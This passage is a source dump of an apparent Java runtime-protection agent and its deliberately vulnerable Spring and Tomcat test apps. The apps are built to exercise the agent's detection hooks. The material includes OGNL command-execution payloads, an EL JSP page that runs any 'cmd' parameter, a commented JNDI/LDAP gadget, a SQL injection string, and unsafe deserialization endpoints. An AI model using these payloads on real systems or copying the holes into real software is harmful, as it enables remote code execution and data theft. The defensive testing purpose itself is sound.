127.0.0.1:8080 33 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW 34 | 35 | ------WebKitFormBoundary7MA4YWxkTrZu0gW 36 | Content-Disposition: form-data; name="file"; filename="1.txt" 37 | Content-Type: application/octet-stream 38 | 39 | < ./1.txt 40 | ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 41 | 42 | 43 | ### tomcat Part 44 | POST /file/upload/case4 HTTP/1.1 45 | Host: 127.0.0.1:8080 46 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW 47 | 48 | ------WebKitFormBoundary7MA4YWxkTrZu0gW 49 | Content-Disposition: form-data; name="file"; filename="1.txt" 50 | Content-Type: application/octet-stream 51 | 52 | < ./1.txt 53 | ------WebKitFormBoundary7MA4YWxkTrZu0gW-- -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/expression/SPELController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.expression; 2 | 3 | import com.ppp.vulns.core.vulns.expression.SPEL; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestBody; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | 13 | /** 14 | * @author Whoopsunix 15 | *

16 | * 请求参数获取示例 17 | */ 18 | @Controller 19 | @RequestMapping("/spel") 20 | public class SPELController { 21 | @RequestMapping("/case1") 22 | @ResponseBody 23 | public Object case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 24 | System.out.println(requestBody); 25 | Object object = SPEL.spel(requestBody); 26 | return object; 27 | } 28 | 29 | @RequestMapping("/case2") 30 | @ResponseBody 31 | public Object case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 32 | System.out.println(requestBody); 33 | Object object = SPEL.spelStandardEvaluationContext(requestBody); 34 | return object; 35 | } 36 | 37 | @RequestMapping("/case3") 38 | @ResponseBody 39 | public Object case3(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 40 | System.out.println(requestBody); 41 | Object object = SPEL.spelMethodBasedEvaluationContext(requestBody); 42 | return object; 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /SecVulns/SecVulns.sql: -------------------------------------------------------------------------------- 1 | /* 2 | Navicat Premium Data Transfer 3 | 4 | Source Server : 127.0.0.1 5 | Source Server Type : MySQL 6 | Source Server Version : 80030 (8.0.30) 7 | Source Host : 127.0.0.1:3306 8 | Source Schema : SecVulns 9 | 10 | Target Server Type : MySQL 11 | Target Server Version : 80030 (8.0.30) 12 | File Encoding : 65001 13 | 14 | Date: 20/12/2023 10:55:31 15 | */ 16 | 17 | SET NAMES utf8mb4; 18 | SET FOREIGN_KEY_CHECKS = 0; 19 | 20 | -- ---------------------------- 21 | -- Table structure for users 22 | -- ---------------------------- 23 | DROP TABLE IF EXISTS `users`; 24 | CREATE TABLE `users` ( 25 | `id` int DEFAULT NULL, 26 | `username` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL, 27 | `password` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL 28 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; 29 | 30 | -- ---------------------------- 31 | -- Records of users 32 | -- ---------------------------- 33 | BEGIN; 34 | INSERT INTO `users` (`id`, `username`, `password`) VALUES (165827712, 'test', 'testpass'); 35 | INSERT INTO `users` (`id`, `username`, `password`) VALUES (1362349079, 'admin', '123456'); 36 | INSERT INTO `users` (`id`, `username`, `password`) VALUES (1467415847, 'superadmin', '&&*&*ASxxxads'); 37 | COMMIT; 38 | 39 | -- ---------------------------- 40 | -- Table structure for xss 41 | -- ---------------------------- 42 | DROP TABLE IF EXISTS `xss`; 43 | CREATE TABLE `xss` ( 44 | `id` int DEFAULT NULL, 45 | `messgae` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL 46 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; 47 | 48 | -- ---------------------------- 49 | -- Records of xss 50 | -- ---------------------------- 51 | BEGIN; 52 | INSERT INTO `xss` (`id`, `messgae`) VALUES (1234497866, ''); 53 | COMMIT; 54 | 55 | SET FOREIGN_KEY_CHECKS = 1; 56 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/SerializationController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.serialization; 2 | 3 | import com.ppp.vulns.core.vulns.serialization.Original; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.RequestParam; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | import org.springframework.web.multipart.MultipartFile; 9 | 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.*; 13 | 14 | /** 15 | * @author Whoopsunix 16 | */ 17 | @Controller 18 | @RequestMapping("/deserialization") 19 | public class SerializationController { 20 | @RequestMapping("/case1") 21 | @ResponseBody 22 | protected void binary(@RequestParam("file") MultipartFile file, HttpServletRequest req, HttpServletResponse resp) throws Exception { 23 | InputStream fileContent = file.getInputStream(); 24 | byte[] bytes = new byte[fileContent.available()]; 25 | fileContent.read(bytes); 26 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); 27 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); 28 | objectInputStream.readObject(); 29 | } 30 | 31 | @RequestMapping("/case2") 32 | @ResponseBody 33 | public void case1(HttpServletRequest request, HttpServletResponse response) throws IOException { 34 | try { 35 | String b64 = request.getParameter("b64"); 36 | System.out.println(b64); 37 | 38 | Object object = Original.deserializeBase64(b64); 39 | 40 | PrintWriter writer = response.getWriter(); 41 | writer.println(object); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | 47 | 48 | } 49 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/JacksonController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.serialization; 2 | 3 | import com.fasterxml.jackson.annotation.JsonTypeInfo; 4 | import com.fasterxml.jackson.databind.ObjectMapper; 5 | import org.springframework.stereotype.Controller; 6 | import org.springframework.web.bind.annotation.RequestBody; 7 | import org.springframework.web.bind.annotation.RequestMapping; 8 | import org.springframework.web.bind.annotation.ResponseBody; 9 | 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.IOException; 13 | import java.io.PrintWriter; 14 | 15 | /** 16 | * @author Whoopsunix 17 | */ 18 | @Controller 19 | @RequestMapping("/jackson") 20 | public class JacksonController { 21 | @RequestMapping("/case1") 22 | @ResponseBody 23 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 24 | System.out.println(requestBody); 25 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 26 | ObjectMapper objectMapper = new ObjectMapper(); 27 | objectMapper.enableDefaultTyping(); 28 | objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY); 29 | 30 | // 用ObjectMapper.disableDefaultTyping()设置为只允许@JsonTypeInfo生效 31 | // objectMapper.disableDefaultTyping(); 32 | 33 | // Method disableDefaultTypingM = objectMapper.getClass().getMethod("disableDefaultTyping"); 34 | // disableDefaultTypingM.invoke(objectMapper); 35 | 36 | // json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}"; 37 | Object object = objectMapper.readValue(requestBody, Object.class); 38 | 39 | 40 | PrintWriter writer = response.getWriter(); 41 | writer.println(object); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/DeserializationController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RequestParam; 6 | import org.springframework.web.multipart.MultipartFile; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.ByteArrayInputStream; 11 | import java.io.InputStream; 12 | import java.io.ObjectInputStream; 13 | import java.util.Base64; 14 | 15 | /** 16 | * @author Whoopsunix 17 | */ 18 | @Controller 19 | public class DeserializationController { 20 | @RequestMapping("/base64") 21 | protected void base64De(HttpServletRequest req, HttpServletResponse resp) throws Exception{ 22 | try { 23 | // 反序列化 24 | String base64Str = req.getParameter("base64Str"); 25 | System.out.println(base64Str); 26 | byte[] bytes = Base64.getDecoder().decode(base64Str); 27 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); 28 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); 29 | objectInputStream.readObject(); 30 | }catch (Exception e){ 31 | e.printStackTrace(); 32 | } 33 | 34 | } 35 | 36 | @RequestMapping("/binary") 37 | protected void binary(@RequestParam("file") MultipartFile file, HttpServletRequest req, HttpServletResponse resp) throws Exception{ 38 | InputStream fileContent = file.getInputStream(); 39 | byte[] bytes = new byte[fileContent.available()]; 40 | fileContent.read(bytes); 41 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); 42 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); 43 | objectInputStream.readObject(); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/expression/OGNLController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.expression; 2 | 3 | import com.ppp.vulns.core.vulns.expression.OGNL; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestBody; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | 13 | /** 14 | * @author Whoopsunix 15 | *

16 | * 请求参数获取示例 17 | */ 18 | @Controller 19 | @RequestMapping("/ognl") 20 | public class OGNLController { 21 | @RequestMapping("/case1") 22 | @ResponseBody 23 | public Object case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 24 | System.out.println(requestBody); 25 | Object object = OGNL.ognlGetValue(requestBody); 26 | return object; 27 | } 28 | 29 | @RequestMapping("/case2") 30 | @ResponseBody 31 | public void case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 32 | System.out.println(requestBody); 33 | OGNL.ognlSetValue(requestBody); 34 | } 35 | 36 | @RequestMapping("/case3") 37 | @ResponseBody 38 | public Object case3(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { 39 | System.out.println(requestBody); 40 | Object object = OGNL.ognlGetValueIbatis(requestBody); 41 | return object; 42 | } 43 | 44 | @RequestMapping("/case4") 45 | public void case4(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { 46 | System.out.println(requestBody); 47 | OGNL.ognlSetValueIbatis(requestBody); 48 | } 49 | 50 | } 51 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/Algorithm.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common.enums; 2 | 3 | /** 4 | * @author Whoopsunix 5 | * 6 | * 算法名称 7 | */ 8 | public enum Algorithm { 9 | /** 10 | * 反序列化 11 | */ 12 | Deserialization("rasp-deserialization", "resolveClass"), 13 | XMLDeserialization("rasp-deserialization", "xml"), 14 | 15 | /** 16 | * 表达式 17 | */ 18 | // SPELClass("rasp-expression", "spel-class"), 19 | SPEL("rasp-expression", "spel"), 20 | OGNL("rasp-expression", "ognl"), 21 | JXpath("rasp-expression", "ognl"), 22 | 23 | /** 24 | * JNDI 注入 25 | */ 26 | JNDI("rasp-jndi", "lookup"), 27 | 28 | /** 29 | * JNI 注入 30 | */ 31 | JNI("rasp-jni", "loadLibrary"), 32 | 33 | /** 34 | * 命令执行 35 | */ 36 | RCENormal("rasp-rce", "normal"), 37 | RCENative("rasp-rce", "native"), 38 | 39 | /** 40 | * SQL 注入 41 | */ 42 | SQLMYSQL("rasp-sql", "mysql"), 43 | 44 | /** 45 | * 文件上传 46 | */ 47 | FileUpload("rasp-file-upload", "fileItem"), 48 | /** 49 | * 路径遍历 50 | */ 51 | FileDirectory("rasp-file-directory", "list"), 52 | /** 53 | * 文件读取 54 | */ 55 | FileREAD("rasp-file-read", "read"), 56 | 57 | /** 58 | * 内存马 59 | */ 60 | MSSpringController("rasp-ms", "spring-controller"), 61 | MSTomcatExecutor("rasp-ms", "tomcat-executor"), 62 | MSTomcatListener("rasp-ms", "tomcat-listener"), 63 | MSTomcatServlet("rasp-ms", "tomcat-servlet"), 64 | MSTomcatFilter("rasp-ms", "tomcat-filter"), 65 | MSJettyListener("rasp-ms", "jetty-listener"), 66 | ; 67 | 68 | private final String algoId; 69 | private final String algoName; 70 | Algorithm(String algoId, String algoName) { 71 | this.algoId = algoId; 72 | this.algoName = algoName; 73 | } 74 | 75 | public String getAlgoId() { 76 | return algoId; 77 | } 78 | 79 | public String getAlgoName() { 80 | return algoName; 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/inject/sql/HQL.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.inject.sql; 2 | 3 | import org.hibernate.Session; 4 | import org.hibernate.SessionFactory; 5 | import org.hibernate.Transaction; 6 | import org.hibernate.cfg.Configuration; 7 | import org.hibernate.query.NativeQuery; 8 | 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | /** 13 | * @author Whoopsunix 14 | */ 15 | public class HQL { 16 | public static void main(String[] args) throws Exception { 17 | List result; 18 | boolean re; 19 | 20 | result = select(1, null, null); 21 | result = select(1, "xxx' union select * from users#", "123"); 22 | System.out.println(result); 23 | 24 | } 25 | 26 | public static List select(Integer id, String username, String password) throws Exception { 27 | //Hibernate 加载核心配置文件(有数据库连接信息) 28 | Configuration configuration = new Configuration().configure(); 29 | //创建一个 SessionFactory 用来获取 Session 连接对象 30 | SessionFactory sessionFactory = configuration.buildSessionFactory(); 31 | //获取session 连接对象 32 | Session session = sessionFactory.openSession(); 33 | //开始事务 34 | Transaction transaction = session.beginTransaction(); 35 | 36 | String sql = null; 37 | if (username != null && password != null) { 38 | sql = String.format("select * from users where `username`='%s' and `password`='%s';", username, password); 39 | } else { 40 | return null; 41 | } 42 | 43 | NativeQuery sqlQuery = session.createSQLQuery(sql); 44 | sqlQuery.addEntity(Users.class); 45 | 46 | List users = new ArrayList<>(); 47 | 48 | List rows = sqlQuery.list(); 49 | if (rows.size() > 0) { 50 | for (Users o : rows) { 51 | users.add(new Users(o.getId(), o.getUsername(), o.getPassword())); 52 | } 53 | //提交事务 54 | transaction.commit(); 55 | //释放资源 56 | session.close(); 57 | sessionFactory.close(); 58 | } 59 | return users; 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/DemoController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestBody; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.RequestParam; 7 | import org.springframework.web.bind.annotation.ResponseBody; 8 | 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | import java.io.PrintWriter; 13 | import java.util.Map; 14 | 15 | /** 16 | * @author Whoopsunix 17 | * 18 | * 请求参数获取示例 19 | */ 20 | @Controller 21 | @RequestMapping("/case") 22 | public class DemoController { 23 | @RequestMapping("/case1") 24 | public void case1(HttpServletRequest request, HttpServletResponse response) throws Exception { 25 | String str = request.getParameter("str"); 26 | System.out.println(str); 27 | PrintWriter writer = response.getWriter(); 28 | writer.println(str); 29 | } 30 | 31 | /** 32 | * 直接获取整个请求 body 33 | * 34 | * @param requestBody 35 | * @param request 36 | * @param response 37 | */ 38 | @RequestMapping("/case2") 39 | @ResponseBody 40 | public void case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { 41 | System.out.println(requestBody); 42 | PrintWriter writer = response.getWriter(); 43 | writer.println(requestBody); 44 | } 45 | 46 | @RequestMapping("/case3") 47 | public void case3(@RequestBody Map map, HttpServletRequest request, HttpServletResponse response) throws IOException { 48 | String str = (String) map.get("str"); 49 | System.out.println(str); 50 | PrintWriter writer = response.getWriter(); 51 | writer.println(str); 52 | } 53 | 54 | @RequestMapping("/case4") 55 | public void case4(@RequestParam String str, HttpServletRequest request, HttpServletResponse response) throws IOException { 56 | System.out.println(str); 57 | PrintWriter writer = response.getWriter(); 58 | writer.println(str); 59 | } 60 | 61 | 62 | } 63 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/RASPContext.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common; 2 | 3 | import com.ppprasp.agent.hook.source.bundle.HttpBundle; 4 | 5 | /** 6 | * @author Whoopsunix 7 | * 8 | * 检测当前调用是否来自请求 9 | * 参考 https://www.jrasp.com/algorithm/thread/thread_inject.html 中给的线程增强逻辑 10 | */ 11 | public class RASPContext { 12 | public static InheritableThreadLocal RASP_ThreadLocal = new InheritableThreadLocal() { 13 | // @Override 14 | // protected Context initialValue() { 15 | // return null; 16 | // } 17 | }; 18 | 19 | public static Context getContext() { 20 | return RASP_ThreadLocal.get(); 21 | } 22 | 23 | public static void set(Context context) { 24 | RASP_ThreadLocal.set(context); 25 | } 26 | 27 | public static void remove() { 28 | RASP_ThreadLocal.remove(); 29 | } 30 | 31 | /** 32 | * 请求对象封装 33 | */ 34 | public static class Context { 35 | private long beginTimestamp = System.currentTimeMillis(); 36 | // http service 37 | private HttpBundle httpBundle = null; 38 | // websocket onMessage 捕获 39 | private Object websocketObject = null; 40 | // dubbo received 41 | private Object dubboRequest = null; 42 | 43 | public Context() { 44 | } 45 | 46 | public Context(HttpBundle httpBundle, Object websocketObject, Object dubboRequest) { 47 | this.httpBundle = httpBundle; 48 | this.websocketObject = websocketObject; 49 | this.dubboRequest = dubboRequest; 50 | } 51 | 52 | public void setBeginTimestamp(long beginTimestamp) { 53 | this.beginTimestamp = beginTimestamp; 54 | } 55 | 56 | public void setHttpBundle(HttpBundle httpBundle) { 57 | this.httpBundle = httpBundle; 58 | } 59 | 60 | public void setWebsocketObject(Object websocketObject) { 61 | this.websocketObject = websocketObject; 62 | } 63 | 64 | public void setDubboRequest(Object dubboRequest) { 65 | this.dubboRequest = dubboRequest; 66 | } 67 | 68 | public long getBeginTimestamp() { 69 | return beginTimestamp; 70 | } 71 | 72 | public HttpBundle getHttpBundle() { 73 | return httpBundle; 74 | } 75 | 76 | public Object getWebsocketObject() { 77 | return websocketObject; 78 | } 79 | 80 | public Object getDubboRequest() { 81 | return dubboRequest; 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/BinaryDeSerializerServlet.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet; 2 | 3 | import org.apache.commons.fileupload.FileItem; 4 | import org.apache.commons.fileupload.FileItemFactory; 5 | import org.apache.commons.fileupload.disk.DiskFileItemFactory; 6 | import org.apache.commons.fileupload.servlet.ServletFileUpload; 7 | 8 | import javax.servlet.annotation.MultipartConfig; 9 | import javax.servlet.annotation.WebServlet; 10 | import javax.servlet.http.HttpServlet; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.InputStream; 14 | import java.io.ObjectInputStream; 15 | import java.util.Collection; 16 | import java.util.Iterator; 17 | 18 | @MultipartConfig 19 | @WebServlet("/deserialization/case1") 20 | public class BinaryDeSerializerServlet extends HttpServlet { 21 | @Override 22 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 23 | String cmd = req.getParameter("cmd"); 24 | System.out.println(cmd); 25 | } 26 | 27 | @Override 28 | protected void doPost(HttpServletRequest request, HttpServletResponse response) { 29 | try { 30 | // 检查请求是否包含文件上传 31 | if (ServletFileUpload.isMultipartContent(request)) { 32 | // 创建文件项目工厂 33 | FileItemFactory factory = new DiskFileItemFactory(); 34 | 35 | // 创建上传处理器 36 | ServletFileUpload upload = new ServletFileUpload(factory); 37 | 38 | // 解析请求,获取文件项集合 39 | @SuppressWarnings("unchecked") 40 | Collection items = upload.parseRequest(request); 41 | 42 | Iterator iterator = items.iterator(); 43 | while (iterator.hasNext()) { 44 | FileItem item = iterator.next(); 45 | 46 | // 判断是否为普通表单字段还是文件上传字段 47 | if (!item.isFormField()) { 48 | // 获取上传文件的输入流 49 | InputStream inputStream = item.getInputStream(); 50 | 51 | // 使用对象输入流进行反序列化 52 | ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); 53 | Object deserializedObject = objectInputStream.readObject(); 54 | objectInputStream.close(); 55 | } 56 | } 57 | } 58 | } catch (Exception e) { 59 | e.printStackTrace(); 60 | } 61 | } 62 | 63 | } 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/source/DubboHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.source; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPContext; 11 | import org.kohsuke.MetaInfServices; 12 | 13 | import javax.annotation.Resource; 14 | 15 | /** 16 | * @author Whoopsunix 17 | * 18 | * Dubbo 请求 19 | */ 20 | @MetaInfServices(Module.class) 21 | @Information(id = "rasp-dubbo", author = "Whoopsunix", version = "1.0.0") 22 | public class DubboHook implements Module, ModuleLifecycle { 23 | @Resource 24 | private ModuleEventWatcher moduleEventWatcher; 25 | 26 | public void getServletAccess() { 27 | try { 28 | String className = "org.apache.dubbo.remoting.ChannelHandler"; 29 | String methodName = "received"; 30 | new EventWatchBuilder(moduleEventWatcher) 31 | .onClass(className) 32 | .includeSubClasses() 33 | .onBehavior(methodName) 34 | .onWatch(new AdviceListener() { 35 | @Override 36 | protected void before(Advice advice) throws Throwable { 37 | // 只关心顶层调用 38 | if (!advice.isProcessTop()) { 39 | return; 40 | } 41 | 42 | Object request = advice.getParameterArray()[1]; 43 | 44 | RASPContext.Context context = new RASPContext.Context(); 45 | context.setDubboRequest(request); 46 | RASPContext.set(context); 47 | 48 | super.before(advice); 49 | } 50 | }); 51 | } catch (Exception e) { 52 | 53 | } 54 | } 55 | 56 | @Override 57 | public void onLoad() throws Throwable { 58 | 59 | } 60 | 61 | @Override 62 | public void onUnload() throws Throwable { 63 | 64 | } 65 | 66 | @Override 67 | public void onActive() throws Throwable { 68 | 69 | } 70 | 71 | @Override 72 | public void onFrozen() throws Throwable { 73 | 74 | } 75 | 76 | @Override 77 | public void loadCompleted() { 78 | getServletAccess(); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/source/WebSocketHook.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.source; 2 | 3 | import com.alibaba.jvm.sandbox.api.Information; 4 | import com.alibaba.jvm.sandbox.api.Module; 5 | import com.alibaba.jvm.sandbox.api.ModuleLifecycle; 6 | import com.alibaba.jvm.sandbox.api.listener.ext.Advice; 7 | import com.alibaba.jvm.sandbox.api.listener.ext.AdviceListener; 8 | import com.alibaba.jvm.sandbox.api.listener.ext.EventWatchBuilder; 9 | import com.alibaba.jvm.sandbox.api.resource.ModuleEventWatcher; 10 | import com.ppprasp.agent.common.RASPContext; 11 | import org.kohsuke.MetaInfServices; 12 | 13 | import javax.annotation.Resource; 14 | 15 | /** 16 | * @author Whoopsunix 17 | * 18 | * web sokcet 请求 19 | */ 20 | @MetaInfServices(Module.class) 21 | @Information(id = "rasp-websocket", author = "Whoopsunix", version = "1.0.0") 22 | public class WebSocketHook implements Module, ModuleLifecycle { 23 | @Resource 24 | private ModuleEventWatcher moduleEventWatcher; 25 | 26 | public void getServletAccess() { 27 | try { 28 | String className = "javax.websocket.MessageHandler"; 29 | String methodName = "onMessage"; 30 | new EventWatchBuilder(moduleEventWatcher) 31 | .onClass(className) 32 | .includeSubClasses() 33 | .onBehavior(methodName) 34 | .onWatch(new AdviceListener() { 35 | @Override 36 | protected void before(Advice advice) throws Throwable { 37 | // 只关心顶层调用 38 | if (!advice.isProcessTop()) { 39 | return; 40 | } 41 | 42 | Object webSocketObject = advice.getParameterArray()[0]; 43 | 44 | RASPContext.Context context = new RASPContext.Context(); 45 | context.setWebsocketObject(webSocketObject); 46 | RASPContext.set(context); 47 | 48 | super.before(advice); 49 | } 50 | }); 51 | } catch (Exception e) { 52 | 53 | } 54 | } 55 | 56 | @Override 57 | public void onLoad() throws Throwable { 58 | 59 | } 60 | 61 | @Override 62 | public void onUnload() throws Throwable { 63 | 64 | } 65 | 66 | @Override 67 | public void onActive() throws Throwable { 68 | 69 | } 70 | 71 | @Override 72 | public void onFrozen() throws Throwable { 73 | 74 | } 75 | 76 | @Override 77 | public void loadCompleted() { 78 | getServletAccess(); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/expression/OGNL.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.expression; 2 | 3 | import ognl.Ognl; 4 | import ognl.OgnlContext; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class OGNL { 10 | public static void main(String[] args) { 11 | /** 12 | * 无回显 set触发 13 | */ 14 | String execSetPayload = "(@java.lang.Runtime@getRuntime().exec(\'open -a Calculator.app\'))(a)(b)"; 15 | // ognlSetValue(execSetPayload); 16 | 17 | // 回显 18 | String processBuilderGetPayload1 = "(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#inputStream=#process.getInputStream()).(@org.apache.commons.io.IOUtils@toString(#inputStream,'UTF-8'))"; 19 | Object object = ognlGetValue(processBuilderGetPayload1); 20 | System.out.println(object); 21 | } 22 | 23 | /** 24 | * ognl.Ognl#getValue() 25 | */ 26 | public static Object ognlGetValue(String payload) { 27 | try { 28 | System.out.println(payload); 29 | Object obj = Ognl.getValue(payload, null); 30 | return obj; 31 | } catch (Exception e) { 32 | e.printStackTrace(); 33 | } 34 | return null; 35 | } 36 | 37 | public static Object ognlGetValueSafe(String payload) { 38 | try { 39 | System.out.println(payload); 40 | } catch (Exception e) { 41 | e.printStackTrace(); 42 | } 43 | return null; 44 | } 45 | 46 | /** 47 | * ognl.Ognl#setValue() 48 | */ 49 | public static void ognlSetValue(String payload) { 50 | try { 51 | Ognl.setValue(payload, new OgnlContext(), ""); 52 | } catch (Exception e) { 53 | 54 | } 55 | } 56 | 57 | 58 | /** 59 | * org.apache.ibatis.ognl.Ognl.getValue() 60 | */ 61 | public static Object ognlGetValueIbatis(String payload) throws Exception { 62 | try { 63 | Object obj = org.apache.ibatis.ognl.Ognl.getValue(payload, null); 64 | return obj; 65 | } catch (Exception e) { 66 | e.printStackTrace(); 67 | } 68 | return null; 69 | } 70 | 71 | /** 72 | * org.apache.ibatis.ognl.Ognl.setValue() 73 | */ 74 | public static void ognlSetValueIbatis(String payload) throws Exception { 75 | try { 76 | org.apache.ibatis.ognl.Ognl.setValue(payload, new OgnlContext(), ""); 77 | } catch (Exception e) { 78 | e.printStackTrace(); 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/webapp/expression/el.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %> 2 |

EL 写法

3 | 4 | <%--

反射构造Runtime

--%> 5 | <%--${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}--%> 6 |

反射构造Runtime - 外界参数

7 | ${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),pageContext.request.getParameter("cmd")).getInputStream()} 8 | 9 | <%--

命令执行回显 Ref: https://forum.butian.net/share/886

